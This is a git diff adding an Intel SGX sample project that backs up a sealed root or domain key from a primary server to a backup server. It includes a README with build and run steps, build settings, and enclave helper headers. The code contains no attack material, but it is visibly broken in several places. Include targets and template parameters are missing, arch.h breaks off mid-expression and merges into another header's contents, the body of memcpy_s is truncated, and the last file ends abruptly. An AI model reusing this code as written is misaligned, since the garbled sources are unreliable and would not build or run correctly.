simulation release mode." +else ifeq ($(Build_Mode), SIM_PRERELEAESE) + @echo "The project has been built in simulation pre-release mode." +endif + +clean: + @rm -rf $(OUTDIR) + for dir in $(SUB_DIR); do \ + $(MAKE) -C $$dir clean; \ + done \ No newline at end of file diff --git a/cczoo/machine_binding_key_backup/README.md b/cczoo/machine_binding_key_backup/README.md new file mode 100644 index 00000000..645f2d71 --- /dev/null +++ b/cczoo/machine_binding_key_backup/README.md @@ -0,0 +1,61 @@ +## Machine binding key backup solution Overview + +In the design architecture of this solution, the root server is used to provide the root key, the remote secure channel provided by SGX is used to transmit the root key between the enclaves. The SGX Keys are used to encrypt the root key and store it in a local file or database, so that it can be safely stored outside the enclave environment. In this way, the root key is also bound with the unique SGX Keys of the processor, reducing the correlation between the root key and the maintenance personnel. Considering that the server may fail, we have designed a backup architecture. When we start the standby server, we will ask the primary server for the root key and keep it securely. When the primary server goes down, the backup server can play a role as the primary server. + +The root key stored in the keystore needs to be decrypted by all root key providing service instances, while other platforms cannot decrypt the root key encrypted through the SGX sealing mechanism. Therefore, in the SGX security enhanced root key providing service design, the Root Key is deployed in each backup instance by using SGX remote authentication to establish a secure session. The scheme design is shown in the figure. This scheme is stored on the platform through SGX sealed encryption, and the root key is only used for decryption in Enclave, so that every instance has the same root key, and the attacker is prevented from directly obtaining the master key from memory. + +arch-of-back-sgxkms + +## Build Instructions + +- If you need to synchronize the domain key between the host machine (the machine that has the domain key) and the backup machine (the machine that requests the domain key from the host machine), then you can compile first. + +``` bash +make +``` + +- In this way, the directory `out/` will be generated, and in this directory, there will be the following files + +``` +rkeyserver + +lib +``` + +- Enter the folder rkeyserver, there will be the following file rkeyserver + +``` + libenclave-rkeyserver.signed.so + + libenclave-rkeyserver.so +``` + +- On the host side, execute + +``` bash +./rkeyserver +``` + +- on the backup machine, execute + +``` bash +./rkeyserver -i 10.23.100.2 -p 8888 +``` + +`-i` is followed by the ip address of the host (`10.23.100.2` is used here as an example), `-p` is the port number of the host, the default is `8888`. + +- If the following message is displayed + +``` +INFO [App/ra_getkey.cpp(454) -> start_getkey]: Successfully received the DomainKey from deploy server. +``` + +It means that the domain key is successfully obtained on the backup machine. By default, the domain key is stored in the directory `/etc/rkey.bin` in encrypted form. + +It is worth mentioning that when the `/etc/rkey.bin` file already exists, when the backup machine continues to request the domain key from the host, the original `rkey.bin` file will be replaced by the new `rkey.bin` file and the following information is output on the screen + +``` +file already exist, substitute by new file +``` + +> ***Many source codes in this project come from [intel/ehsm](https://github.com/intel/ehsm/tree/t-multi-dkeyserver-reference)*** diff --git a/cczoo/machine_binding_key_backup/buildenv.mk b/cczoo/machine_binding_key_backup/buildenv.mk new file mode 100644 index 00000000..cb532c6e --- /dev/null +++ b/cczoo/machine_binding_key_backup/buildenv.mk @@ -0,0 +1,135 @@ +# +# Copyright (c) 2022 Intel Corporation +# SPDX-License-Identifier: Apache-2.0 +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +######## auto_version Settings ######## +DATE_STRING := `date "+20%y.%m.%d %k:%M"` +KMS_GIT_SHA=$(shell git rev-parse --short=7 --verify HEAD) + +# ------------------------------------------------------------------- +# Function : parent-dir +# Arguments: 1: path +# Returns : Parent dir or path of $1, with final separator removed. +# ------------------------------------------------------------------- +parent-dir = $(patsubst %/,%,$(dir $(1:%/=%))) + +# ------------------------------------------------------------------ +# Macro : my-dir +# Returns : the directory of the current Makefile +# Usage : $(my-dir) +# ------------------------------------------------------------------ +my-dir = $(realpath $(call parent-dir,$(lastword $(MAKEFILE_LIST)))) + +ROOT_DIR := $(call my-dir) +ifneq ($(words $(subst :, ,$(ROOT_DIR))), 1) + $(error main directory cannot contain spaces nor colons) +endif + +######## Output Settings ######## +TOPDIR = $(ROOT_DIR) +OUTDIR := out +OUTLIB_DIR := $(OUTDIR)/lib + +######## Compiler Settings ######## +CP = cp +CC ?= gcc +CXX ?= g++ +RM = rm -f + +######## SGX SDK Settings ######## + +SGX_SDK ?= /opt/intel/sgxsdk +SGX_MODE ?= HW +SGX_ARCH ?= x64 +SGX_DEBUG ?= 1 +#SUPPLIED_KEY_DERIVATION ?= 1 + +include $(SGX_SDK)/buildenv.mk + +ifeq ($(shell getconf LONG_BIT), 32) + SGX_ARCH := x86 +else ifeq ($(findstring -m32, $(CXXFLAGS)), -m32) + SGX_ARCH := x86 +endif + +ifeq ($(SGX_ARCH), x86) + SGX_COMMON_FLAGS := -m32 + SGX_LIBRARY_PATH := $(SGX_SDK)/lib + SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x86/sgx_sign + SGX_EDGER8R := $(SGX_SDK)/bin/x86/sgx_edger8r +else + SGX_COMMON_FLAGS := -m64 + SGX_LIBRARY_PATH := $(SGX_SDK)/lib64 + SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign + SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r +endif + +ifeq ($(SGX_DEBUG), 1) +ifeq ($(SGX_PRERELEASE), 1) +$(error Cannot set SGX_DEBUG and SGX_PRERELEASE at the same time!!) +endif +endif + +ifeq ($(SUPPLIED_KEY_DERIVATION), 1) + SGX_COMMON_FLAGS += -DSUPPLIED_KEY_DERIVATION +endif + +ifeq ($(SGX_DEBUG), 1) + SGX_COMMON_FLAGS += -O0 -ggdb3 +else + SGX_COMMON_FLAGS += -O2 +endif + +SGX_COMMON_FLAGS += -Wall -Wextra -Winit-self -Wpointer-arith -Wreturn-type \ + -Waddress -Wsequence-point -Wformat-security \ + -Wmissing-include-dirs -Wfloat-equal -Wundef -Wshadow \ + -Wcast-align -Wredundant-decls + +#SGX_COMMON_CFLAGS += $(SGX_COMMON_FLAGS) -Wstrict-prototypes -Wunsuffixed-float-constants -Wcast-qual + +SGX_COMMON_CXXFLAGS := $(SGX_COMMON_FLAGS) -Wnon-virtual-dtor -std=c++11 + +######## BUILD Settings ######## +ifeq ($(SGX_MODE), HW) +ifeq ($(SGX_DEBUG), 1) + Build_Mode = HW_DEBUG +else ifeq ($(SGX_PRERELEASE), 1) + Build_Mode = HW_PRERELEASE +else + Build_Mode = HW_RELEASE +endif +else +ifeq ($(SGX_DEBUG), 1) + Build_Mode = SIM_DEBUG +else ifeq ($(SGX_PRERELEASE), 1) + Build_Mode = SIM_PRERELEASE +else + Build_Mode = SIM_RELEASE +endif +endif + +ifneq ($(SGX_MODE), HW) + Urts_Library_Name := sgx_urts_sim +else + Urts_Library_Name := sgx_urts +endif + +ifneq ($(SGX_MODE), HW) + Trts_Library_Name := sgx_trts_sim + Service_Library_Name := sgx_tservice_sim +else + Trts_Library_Name := sgx_trts + Service_Library_Name := sgx_tservice +endif + diff --git a/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png b/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png new file mode 100644 index 00000000..2acc3c31 Binary files /dev/null and b/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png differ diff --git a/cczoo/machine_binding_key_backup/include/datatypes.h b/cczoo/machine_binding_key_backup/include/datatypes.h new file mode 100644 index 00000000..967d91c6 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/datatypes.h @@ -0,0 +1,125 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "sgx_report.h" +#include "sgx_eid.h" +#include "sgx_ecp_types.h" +#include "sgx_dh.h" +#include "sgx_tseal.h" + +#ifndef DATATYPES_H_ +#define DATATYPES_H_ + +#define DH_KEY_SIZE 20 +#define NONCE_SIZE 16 +#define MAC_SIZE 16 +#define MAC_KEY_SIZE 16 +#define PADDING_SIZE 16 + +#define EH_API_KEY_SIZE 32 +#define UUID_STR_LEN 37 + +#define TAG_SIZE 16 +#define IV_SIZE 12 + +#define DERIVE_MAC_KEY 0x0 +#define DERIVE_SESSION_KEY 0x1 +#define DERIVE_VK1_KEY 0x3 +#define DERIVE_VK2_KEY 0x4 + +#define CLOSED 0x0 +#define IN_PROGRESS 0x1 +#define ACTIVE 0x2 + +#define SGX_DOMAIN_KEY_SIZE 16 + +#define MESSAGE_EXCHANGE 0x0 + +#define MESSAGE_EXCHANGE_CMD_DK 0x1 + +#define ENCLAVE_TO_ENCLAVE_CALL 0x1 + +#define INVALID_ARGUMENT -2 ///< Invalid function argument +#define LOGIC_ERROR -3 ///< Functional logic error +#define FILE_NOT_FOUND -4 ///< File not found + +#define VMC_ATTRIBUTE_MASK 0xFFFFFFFFFFFFFFCB + +#define _T(x) x + +#define UNUSED(val) (void)(val) + +#define TCHAR char + +#define _TCHAR char + +#define scanf_s scanf + +#define _tmain main + +#ifndef INT_MAX +#define INT_MAX 0x7fffffff +#endif + +#ifndef SAFE_FREE +#define SAFE_FREE(ptr) {if (NULL != (ptr)) {free(ptr); (ptr) = NULL;}} +#endif + +#ifndef _ERRNO_T_DEFINED +#define _ERRNO_T_DEFINED +typedef int errno_t; +#endif + + +typedef uint8_t dh_nonce[NONCE_SIZE]; +typedef uint8_t cmac_128[MAC_SIZE]; + +#pragma pack(push, 1) + +//Format of the AES-GCM message being exchanged between the source and the destination enclaves +typedef struct _secure_message_t +{ + uint32_t session_id; //Session ID identifyting the session to which the message belongs + sgx_aes_gcm_data_t message_aes_gcm_data; +} secure_message_t; + +//Format of the input function parameter structure +typedef struct _ms_in_msg_exchange_t { + uint32_t msg_type; //Type of Call E2E or general message exchange + uint32_t target_fn_id; //Function Id to be called in Destination. Is valid only when msg_type=ENCLAVE_TO_ENCLAVE_CALL + uint32_t inparam_buff_len; //Length of the serialized input parameters + uint8_t inparam_buff[1]; //Serialized input parameters +} ms_in_msg_exchange_t; + +//Format of the return value and output function parameter structure +typedef struct _ms_out_msg_exchange_t { + uint32_t retval_len; //Length of the return value + uint32_t ret_outparam_buff_len; //Length of the serialized return value and output parameters + uint8_t ret_outparam_buff[1]; //Serialized return value and output parameters +} ms_out_msg_exchange_t; + +//Session Tracker to generate session ids +typedef struct _session_id_tracker_t +{ + uint32_t session_id; +} session_id_tracker_t; + +#pragma pack(pop) + + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/arch.h b/cczoo/machine_binding_key_backup/include/key_exchange/arch.h new file mode 100644 index 00000000..c26acb03 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/arch.h @@ -0,0 +1,296 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SE_ARCH_H_ +#define _SE_ARCH_H_ + +#include "inst.h" +#include "se_types.h" +#include "sgx_attributes.h" +#include "sgx_key.h" +#include "sgx_report.h" +#include "sgx_tcrypto.h" + +#define SE_PAGE_SIZE 0x1000 +#define TCS_SIZE SE_PAGE_SIZE + +#pragma pack(push, 1) + +#define STATIC_ASSERT_UNUSED_ATTRIBUTE __attribute__((unused)) +#define _ASSERT_CONCAT(a, b) a##b +#define ASSERT_CONCAT(a, b) _ASSERT_CONCAT(a, b) +#ifdef __cplusplus +#define se_static_assert(e) static_assert(e, "static assert error") +#else +#define se_static_assert(e) typedef char ASSERT_CONCAT(assert_line, __LINE__)[(e)?1:-1] STATIC_ASSERT_UNUSED_ATTRIBUTE +#endif + +se_static_assert(sizeof(sgx_key_request_t) == 512); +se_static_assert(sizeof(sgx_target_info_t) == 512); + +/*SECS data structure*/ +typedef struct _secs_t +{ + uint64_t size; /* ( 0) Size of the enclave in bytes */ + PADDED_POINTER(void, base); /* ( 8) Base address of enclave */ + uint32_t ssa_frame_size; /* ( 16) size of 1 SSA frame in pages */ + sgx_misc_select_t misc_select; /* ( 20) Which fields defined in SSA.MISC */ +#define SECS_RESERVED1_LENGTH 24 + uint8_t reserved1[SECS_RESERVED1_LENGTH]; /* ( 24) reserved */ + sgx_attributes_t attributes; /* ( 48) ATTRIBUTES Flags Field */ + sgx_measurement_t mr_enclave; /* ( 64) Integrity Reg 0 - Enclave measurement */ +#define SECS_RESERVED2_LENGTH 32 + uint8_t reserved2[SECS_RESERVED2_LENGTH]; /* ( 96) reserved */ + sgx_measurement_t mr_signer; /* (128) Integrity Reg 1 - Enclave signing key */ +#define SECS_RESERVED3_LENGTH 32 + uint8_t reserved3[SECS_RESERVED3_LENGTH]; /* (160) reserved */ + sgx_config_id_t config_id; /* (192) CONFIGID */ + sgx_prod_id_t isv_prod_id; /* (256) product ID of enclave */ + sgx_isv_svn_t isv_svn; /* (258) Security Version of the Enclave */ + sgx_config_svn_t config_svn; /* (260) CONFIGSVN */ +#define SECS_RESERVED4_LENGTH 3834 + uint8_t reserved4[SECS_RESERVED4_LENGTH];/* (262) reserved */ +} secs_t; + + +/* +TCS +flags definitions +*/ +#define DBGOPTIN 1 /* used by debugger */ + +typedef struct _tcs_t +{ + uint64_t reserved0; /* (0) */ + uint64_t flags; /* (8)bit 0: DBGOPTION */ + uint64_t ossa; /* (16)State Save Area */ + uint32_t cssa; /* (24)Current SSA slot */ + uint32_t nssa; /* (28)Number of SSA slots */ + uint64_t oentry; /* (32)Offset in enclave to which control is transferred on EENTER if enclave INACTIVE state */ + uint64_t reserved1; /* (40) */ + uint64_t ofs_base; /* (48)When added to the base address of the enclave, produces the base address FS segment inside the enclave */ + uint64_t ogs_base; /* (56)When added to the base address of the enclave, produces the base address GS segment inside the enclave */ + uint32_t ofs_limit; /* (64)Size to become the new FS limit in 32-bit mode */ + uint32_t ogs_limit; /* (68)Size to become the new GS limit in 32-bit mode */ +#define TCS_RESERVED_LENGTH 4024 + uint8_t reserved[TCS_RESERVED_LENGTH]; /* (72) */ +}tcs_t; + +se_static_assert(sizeof(tcs_t) == SE_PAGE_SIZE); + +/**************************************************************************** + * Definitions for SSA + ****************************************************************************/ +typedef struct _exit_info_t +{ + uint32_t vector:8; /* Exception number of exceptions reported inside enclave */ + uint32_t exit_type:3; /* 3: Hardware exceptions, 6: Software exceptions */ + uint32_t reserved:20; + uint32_t valid:1; /* 0: unsupported exceptions, 1: Supported exceptions */ +} exit_info_t; + +#define SE_VECTOR_DE 0 +#define SE_VECTOR_DB 1 +#define SE_VECTOR_BP 3 +#define SE_VECTOR_BR 5 +#define SE_VECTOR_UD 6 +#define SE_VECTOR_MF 16 +#define SE_VECTOR_AC 17 +#define SE_VECTOR_XM 19 + +typedef struct _ssa_gpr_t +{ + REGISTER( ax); /* (0) */ + REGISTER( cx); /* (8) */ + REGISTER( dx); /* (16) */ + REGISTER( bx); /* (24) */ + REGISTER( sp); /* (32) */ + REGISTER( bp); /* (40) */ + REGISTER( si); /* (48) */ + REGISTER( di); /* (56) */ + uint64_t r8; /* (64) */ + uint64_t r9; /* (72) */ + uint64_t r10; /* (80) */ + uint64_t r11; /* (88) */ + uint64_t r12; /* (96) */ + uint64_t r13; /* (104) */ + uint64_t r14; /* (112) */ + uint64_t r15; /* (120) */ + REGISTER(flags); /* (128) */ + REGISTER( ip); /* (136) */ + REGISTER( sp_u); /* (144) untrusted stack pointer. saved by EENTER */ + REGISTER( bp_u); /* (152) untrusted frame pointer. saved by EENTER */ + exit_info_t exit_info; /* (160) contain information for exits */ + uint32_t reserved; /* (164) padding to multiple of 8 bytes */ + uint64_t fs; /* (168) FS register */ + uint64_t gs; /* (176) GS register */ +} ssa_gpr_t; + +typedef uint64_t si_flags_t; + +#define SI_FLAG_NONE 0x0 +#define SI_FLAG_R 0x1 /* Read Access */ +#define SI_FLAG_W 0x2 /* Write Access */ +#define SI_FLAG_X 0x4 /* Execute Access */ +#define SI_FLAG_PT_LOW_BIT 0x8 /* PT low bit */ +#define SI_FLAG_PT_MASK (0xFF<= 3) +# define likely(x) __builtin_expect ((x), 1) +# define unlikely(x) __builtin_expect ((x), 0) +# else +# define likely(x) (x) +# define unlikely(x) (x) +# endif + +#ifndef SE_DECLSPEC_EXPORT +#define SE_DECLSPEC_EXPORT __attribute__((visibility("default"))) +#endif + +#ifndef SE_DECLSPEC_IMPORT +#define SE_DECLSPEC_IMPORT +#endif + +#ifndef SE_DECLSPEC_ALIGN +#define SE_DECLSPEC_ALIGN(x) __attribute__((aligned(x))) +#endif + +#ifndef SE_DECLSPEC_THREAD +#define SE_DECLSPEC_THREAD /*__thread*/ +#endif + +/* disable __try, __except on linux */ +#ifndef __try +#define __try try +#endif + +#ifndef __except +#define __except(x) catch(...) +#endif + + +#ifndef SE_DRIVER + +# define SE_GNU +# if defined(__x86_64__) +# define SE_64 +# define SE_GNU64 +# else +# define SE_32 +# define SE_GNU32 +# endif + +#endif + + #define INITIALIZER(f) \ + static void f(void) __attribute__((constructor)); + +#ifdef __cplusplus +#define MY_EXTERN extern "C" +#else +#define MY_EXTERN extern +#endif + +#define SGX_ACCESS_VERSION(libname, num) \ + MY_EXTERN char sgx_##libname##_version[]; \ + MY_EXTERN char * __attribute__((destructor)) libname##_access_version_dummy##num() \ + { \ + sgx_##libname##_version[0] = 's'; \ + return sgx_##libname##_version; \ + } + + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_lock.hpp b/cczoo/machine_binding_key_backup/include/key_exchange/se_lock.hpp new file mode 100644 index 00000000..691dc7bd --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_lock.hpp @@ -0,0 +1,63 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +/* This file implement lock guard */ + +#ifndef SE_LOCK_HPP +#define SE_LOCK_HPP + +#include "util.h" +#include "se_thread.h" +#include "uncopyable.h" + +class Mutex: private Uncopyable +{ +public: + Mutex(){se_mutex_init(&m_mutex);} + ~Mutex(){se_mutex_destroy(&m_mutex);} + void lock(){se_mutex_lock(&m_mutex);} + void unlock(){se_mutex_unlock(&m_mutex);} +private: + se_mutex_t m_mutex; +}; + +class Cond: private Uncopyable +{ +public: + Cond(){se_mutex_init(&m_mutex); se_thread_cond_init(&m_cond);} + ~Cond(){se_mutex_destroy(&m_mutex); se_thread_cond_destroy(&m_cond);} + void lock(){se_mutex_lock(&m_mutex);} + void unlock(){se_mutex_unlock(&m_mutex);} + void wait(){se_thread_cond_wait(&m_cond, &m_mutex);} + void signal(){se_thread_cond_signal(&m_cond);} + void broadcast(){se_thread_cond_broadcast(&m_cond);} +private: + se_mutex_t m_mutex; + se_cond_t m_cond; +}; + +class LockGuard: private Uncopyable +{ +public: + LockGuard(Mutex* mutex):m_mutex(mutex){m_mutex->lock();} + ~LockGuard(){m_mutex->unlock();} +private: + Mutex* m_mutex; +}; + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_memcpy.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_memcpy.h new file mode 100644 index 00000000..dacf47c6 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_memcpy.h @@ -0,0 +1,48 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SE_MEMCPY_H_ +#define _SE_MEMCPY_H_ + +#include + + +/* memcpy_s always return 0 under Linux */ + +#ifndef _ERRNO_T_DEFINED +#define _ERRNO_T_DEFINED +typedef int errno_t; +#endif + +#ifdef __cplusplus + extern "C" { +#endif + +static inline errno_t memcpy_s(void *dest, size_t numberOfElements, const void *src, size_t count) +{ + if(numberOfElements +#include +#include "se_memcpy.h" +#include +#include +#include +#include +#include + +#ifndef MAX_PATH +#define MAX_PATH 260 +#endif + +static inline int se_delete_file(const char *path_name) +{ + return unlink(path_name); +} + +#define se_delete_tfile se_delete_file + +static inline int sprintf_s(char *dst_buf, size_t size_in_bytes, const char *format, ...) +{ + va_list argptr; + int cnt; + va_start(argptr, format); + cnt = vsnprintf(dst_buf, size_in_bytes, format, argptr); + va_end(argptr); + return cnt; +} + +static inline int _snprintf_s(char *dst_buf, size_t size_in_bytes, size_t max_count, const char *format, ...) +{ + (void) size_in_bytes; + va_list argptr; + int cnt; + va_start(argptr, format); + cnt = vsnprintf(dst_buf, max_count, format, argptr); + va_end(argptr); + return cnt; +} + +static inline errno_t fopen_s(FILE **f, const char *filename, const char *mode) +{ + errno_t err = 0; + *f = fopen(filename, mode); + if(*f==NULL){ + err = -1; + } + return err; +} + +static inline int se_copy_file(const char *dst_name, const char *src_name) +{ + int dest = -1; + int source = -1; + ssize_t nr_read; + struct stat stat_buf; + +#ifndef BUF_SIZE +#define BUF_SIZE 4096 +#endif + char buf[BUF_SIZE]; + + /* open the input file */ + source = open(src_name, O_RDONLY); + if(source < 0) + goto error; + + /* get size and permissions of the prebuild DB file */ + if (fstat(source, &stat_buf) != 0) + goto error; + + dest = open(dst_name, O_WRONLY|O_CREAT|O_TRUNC, stat_buf.st_mode); + if(dest < 0) + goto error; + + while ((nr_read = read(source, buf, BUF_SIZE)) > 0) + { + if (write(dest, buf, nr_read) != nr_read) + goto error; + } +#undef BUF_SIZE + + close(dest); + close(source); + return 0; + +error: + if(dest>=0)close(dest); + if(source>=0)close(source); + return -1; +} + +#ifdef __cplusplus +template +int sprintf_s(char (&dst)[_Size], const char *format, ...) +{ + va_list argptr; + int cnt; + va_start(argptr, format); + cnt = vsprintf(dst, format, argptr); + va_end(argptr); + return cnt; +} + +template +int _snprintf_s(char (&dst)[_Size], size_t max_count, const char *format, ...) +{ + va_list argptr; + int cnt; + va_start(argptr, format); + cnt = vsnprintf(dst, max_count, format, argptr); + va_end(argptr); + return cnt; +} + +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_string.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_string.h new file mode 100644 index 00000000..0ee47bc1 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_string.h @@ -0,0 +1,60 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SE_STRING_H_ +#define _SE_STRING_H_ + +#include "se_memcpy.h" +#include + + +#ifndef _ERRNO_T_DEFINED +#define _ERRNO_T_DEFINED +typedef int errno_t; +#endif + +static inline errno_t strcat_s(char *dst, size_t max_size, const char *src) +{ + if(strlen(dst)+strlen(src)+1>max_size)return -1; + strcat(dst, src); + return 0; +} + +static inline errno_t strcpy_s(char *dst, size_t max_size, const char *src) +{ + if(strnlen(src, max_size)+1>max_size)return -1; + strcpy(dst, src); + return 0; +} + +#define _strnicmp strncasecmp +static inline errno_t strncat_s(char *dst, size_t max_size, const char *src, size_t max_count) +{ + size_t len = strnlen(src,max_count); + len+=strnlen(dst, max_size)+1; + if(len>max_size)return -1; + strncat(dst, src, max_count); + return 0; +} + +#define _strdup strdup +#define strnlen_s strnlen + + + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_thread.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_thread.h new file mode 100644 index 00000000..8acaa2b6 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_thread.h @@ -0,0 +1,67 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SE_THREAD_H_ +#define _SE_THREAD_H_ + + +#ifndef _GNU_SOURCE +#define _GNU_SOURCE /* for PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP */ +#endif +#include +#include +#include +#include +typedef pthread_mutex_t se_mutex_t; +typedef pthread_cond_t se_cond_t; +typedef pid_t se_thread_id_t; +typedef pthread_key_t se_tls_index_t; + +#ifdef __cplusplus +extern "C" { +#endif +/* +@mutex: A pointer to the critical section object. +@return value: If the function succeeds, the return value is nonzero.If the function fails, the return value is zero. +*/ +void se_mutex_init(se_mutex_t* mutex); +int se_mutex_lock(se_mutex_t* mutex); +int se_mutex_unlock(se_mutex_t* mutex); +int se_mutex_destroy(se_mutex_t* mutex); + +void se_thread_cond_init(se_cond_t* cond); +int se_thread_cond_wait(se_cond_t *cond, se_mutex_t *mutex); +int se_thread_cond_signal(se_cond_t *cond); +int se_thread_cond_broadcast(se_cond_t *cond); +int se_thread_cond_destroy(se_cond_t* cond); + +unsigned int se_get_threadid(void); + +/* tls functions */ +int se_tls_alloc(se_tls_index_t *tls_index); +int se_tls_free(se_tls_index_t tls_index); +void * se_tls_get_value(se_tls_index_t tls_index); +int se_tls_set_value(se_tls_index_t tls_index, void *tls_value); + +/* se_thread_handle_t se_create_thread(size_t stack_size, thread_start_routine_t start_routine, void *param, se_thread_t* thread); */ + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_types.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_types.h new file mode 100644 index 00000000..20e315d2 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_types.h @@ -0,0 +1,80 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +/* + * This file is to define some types that is platform independent. +*/ + +#ifndef _SE_TYPE_H_ +#define _SE_TYPE_H_ +#include "se_cdefs.h" + +#ifdef SE_DRIVER + +typedef INT8 int8_t; +typedef UINT8 uint8_t; +typedef INT16 int16_t; +typedef UINT16 uint16_t; +typedef INT32 int32_t; +typedef UINT32 uint32_t; +typedef INT64 int64_t; +typedef UINT64 uint64_t; + +#else + +#include +#include + +#ifndef TRUE +#define TRUE 1 +#endif + +#ifndef FALSE +#define FALSE 0 +#endif + +#endif + +#if defined(SE_64) + +#define PADDED_POINTER(t, p) t* p +#define PADDED_DWORD(d) uint64_t d +#define PADDED_LONG(l) int64_t l +#define REG(name) r##name +#ifdef SE_SIM_EXCEPTION +#define REG_ALIAS(name) R##name +#endif +#define REGISTER(name) uint64_t REG(name) + +#else /* !defined(SE_64) */ + +#define PADDED_POINTER(t, p) t* p; void* ___##p##_pad_to64_bit +#define PADDED_DWORD(d) uint32_t d; uint32_t ___##d##_pad_to64_bit +#define PADDED_LONG(l) int32_t l; int32_t ___##l##_pad_to64_bit + +#define REG(name) e##name + +#ifdef SE_SIM_EXCEPTION +#define REG_ALIAS(name) E##name +#endif + +#define REGISTER(name) uint32_t REG(name); uint32_t ___##e##name##_pad_to64_bit + +#endif /* !defined(SE_64) */ + +#endif diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_version.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_version.h new file mode 100644 index 00000000..d000e485 --- /dev/null +++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_version.h @@ -0,0 +1,38 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SE_VERSION_H_ +#define _SE_VERSION_H_ + +#define STRFILEVER 